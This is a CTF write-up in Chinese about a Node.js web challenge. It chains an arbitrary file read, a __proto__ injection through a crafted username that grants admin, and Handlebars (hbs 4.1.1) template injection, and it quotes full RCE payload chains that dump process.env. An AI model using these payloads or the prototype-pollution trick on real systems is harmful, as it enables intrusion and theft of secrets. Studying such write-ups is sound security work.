0%

[XCTF]华为第三场

[XCTF]华为第三场

华为三连最后一场,web就两个题,一个题是nodejs模板注入,是一个完全不了解的领域
还有一个是PHP题,不知道出题人想表达什么
学了一天nodejs的hbs库的模板注入,不过还是没怎么懂,可能学的不够认真,也不知道怎么去调试,文档也没看几句,js的玄妙特性也不了解。。。

华为HCIE的第一课

登录,进去之后有一个没有用的功能,进admin路由,403,发现f参数任意文件读取,先回上层目录读了app.js,获得目录结构之后读admin.js,util.js等文件
admin.js需要验证用户是否本地登录,不行就403,但是存在一个使用__proto__覆盖的机会

            user = JSON.parse(`{"name" : "${req.session.name}", "time" : "${Math.ceil(new Date().getTime() / 1000)}", "ip" : "${req.ip}"}`)

req.session.name就是登录时输入的用户名,完全可控,可以重新闭合引号多解析出一个变量出来,后面又有这么一份赋值语句

let userinfo = {}
Object.keys(user).forEach((key) => {
    if (key.trim() === "isAdmin")
        userinfo[key] = 0
    else userinfo[key] = user[key]
})

userinfo一开始是没有isAdmin属性的,虽然不能直接创建一个isAdmin属性,但是可以使用__proto__来完成一次赋值
登录时令username为z33","__proto__":{"isAdmin":1}, "t": "t即可
admin路由有一个写模板功能,可以打一个模板注入,读文件收集信息可知使用的是hbs库实现的渲染,读package.json知hbs版本为^4.1.1
google一下hbs的模板注入,发现两篇文章,其中第一篇提到hbs的注入刚好是4.1.1版本,第二篇bypass了4.1.1的修复
hbsRCE
hbsRCEpayload简析
hbs官方文档

虽然最后题解不是RCE,但是这个东西我还是学了蛮久。。。到时候还要再理一下
又:本地搭建环境之后去除所有过滤上述文章payload仍然打不通,会出现利用过程中的一些对象不存在之类的问题

HBS模板语法

这种题目,还是要先看官方文档为好,一开始没看文档的我搞了半天一无所知

{{#with xxx}} {{/with}}

with语句将切换当前块内的上下文,也就是把this指向那个xxx,可以用with xxx as name,再多层with嵌套的时候通过name可以获取到外层的对象
记得闭合with

{{#each xxx}} {{/each}}

创建一个循环,遍历xxx中的每个元素,并且把context指向每次遍历的元素
均需要闭合标签

lookup

进行数据查找,lookup xxx xxx,动态进行查找返回查找的值

log

输出到控制台,本地搭建环境之后用这个调试比较舒服

payload1


{{#with this as |obj|}}
    {{#with (obj.constructor.keys "1") as |arr|}}
        {{arr.pop}}
        {{arr.push obj.constructor.name.constructor.bind}}
        {{arr.pop}}
        {{arr.push "return JSON.stringify(process.env);"}}
        {{arr.pop}}
            {{#blockHelperMissing obj.constructor.name.constructor.bind}}
              {{#with (arr.constructor (obj.constructor.name.constructor.bind.apply obj.constructor.name.constructor arr))}}
                {{#with (obj.constructor.getOwnPropertyDescriptor this 0)}}
                  {{#with (obj.constructor.defineProperty obj.constructor.prototype "toString" this)}}
                     {{#with (obj.constructor.constructor "test")}}
                        {{this}}
                     {{/with}}
                  {{/with}}
                {{/with}}
              {{/with}}
            {{/blockHelperMissing}}
  {{/with}}
{{/with}}

由于每次函数调用都会额外添加一个多余的this,所以push之后都将额外的this给弹出

根据payload的思路,应该是构造出了一个[String.constructor.bind,”console.log(process.env)”]数组,用String.constructor.bind.apply以String.constructor和arr为参数,制造出一个以String.constructor为this,arr为参数的String类构造函数到这里已经不知道在干什么了然后再将返回的构造函数再用Array的构造函数构造成一个array,然后调用getOwnPropertyDescriptor,获取到array的第一个元素(也就这一个元素),为之前构造的String.constructor函数的描述符
最后使用defineProperty进行原型链污染,将其Object的toString函数修改为我们构造的String.constructor
最后用Object.constructor构造对象触发toString函数,返回payload,成功执行命令
我不太能理解这一系列的复杂操作,连勉强看懂他在做什么都非常困难

payload1失败

官方补丁为 禁止访问构造函数,4.1.1理应是最后一个受影响的版本

本地和远端都在第一步从Object获取key产生数组就失败了,log的结果是obj.constructor undefined,确认了一下本地hbs版本是4.1.1,即没打补丁的最后一个版本,但是还是打不通,不知道为什么

分析文章的思路,想要RCE一定是需要凑一个数组出来调用一波函数的,因此继续寻找可用方法
感觉上来说,这里是只能通过几个基础数据对象进行链式调用的,而我们能直接产生的对象有int,string,object(this是一个object),本地测试发现方括号[]产生的也是this对象
需要获取一个链式调用拿一个array来代替
这时看到我们的第二个payload

payload2


{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return JSON.stringify(process.env);"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

更为简洁的代码,思路似乎更为清晰,使用String.split获取到了数组,然后再用pop把数组元素丢掉拿到空数组
但是同样出现了问题,lookup string.sub "constructor"查找结果为空,本来这里应该拿到一个Function(),但是本地结果也为undefined。。。
加上题目本身就过滤了lookup等字段,更加打不通
通过两个split分别拿到两个数组[Function()]和[“return JSON.stringify(process.env);”]
然后使用this调用该函数完成命令执行
等价于Function.apply(Function(), ["return JSON.stringify(process.pid);"])()
即用Function构造函数构造了一个内容为return JSON.stringify(process.pid);的匿名函数并完成自调用

但是由于我对js不够熟练,没能找出来新的替代方法,就个人感觉,lookup那里也许能直接用.constructor获取构造函数而不用lookup呢?但是本地测试都是undefined。。。就没办法了

后来还找到一篇将绕过官方补丁的,但是更加看不懂了。。。
bypass4.1.1修复

题解

最后师傅出的时候发现也并不需要超级绕过进行RCE,只需要了解一下hbs的基本模板,从this中查看env就能看到在env中的flag
payload


{{#each}}
	{{#each}}
		{{this}}
	{{/each}}
{{/each}}

两层循环遍历全部属性即可